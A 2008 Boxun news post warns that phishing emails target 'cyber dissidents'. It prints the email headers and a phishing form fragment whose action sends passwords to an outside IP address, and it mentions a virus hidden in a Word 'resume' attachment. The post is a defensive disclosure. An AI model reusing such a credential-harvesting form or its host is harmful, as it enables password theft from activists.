Technology&Science;
Internet trap for "cyber dissidents"
By Boxun
Jun 10, 2008 - 10:15:13 AM

Boxun's email receives this type of message from time to time, in English or Chinese.

It is a trap for victims to submit password to the IP address: 202.65.212.42.

The relevant information is below:

Delivered-To: [email protected]

Received: by 10.141.203.2 with SMTP id f2cs123429rvq;

        Tue, 10 Jun 2008 05:50:42 -0700 (PDT)

Received: by 10.114.47.10 with SMTP id u10mr4751151wau.204.1213102241849;

        Tue, 10 Jun 2008 05:50:41 -0700 (PDT)

Return-Path:

Received: from m13-82.163.com (m13-82.163.com [220.181.13.82])

        by mx.google.com with SMTP id j29si18881405waf.49.2008.06.10.05.50.38;

        Tue, 10 Jun 2008 05:50:41 -0700 (PDT)

FORM action=3D"http://202.65.212.42/index.asp" method=3D"get" target=3D"_s=

elf"

Another incident today: One organization posted an advertisement for a translator, within 12 hours, the email account received one "resume" as an attachment of word file. That file is a virus.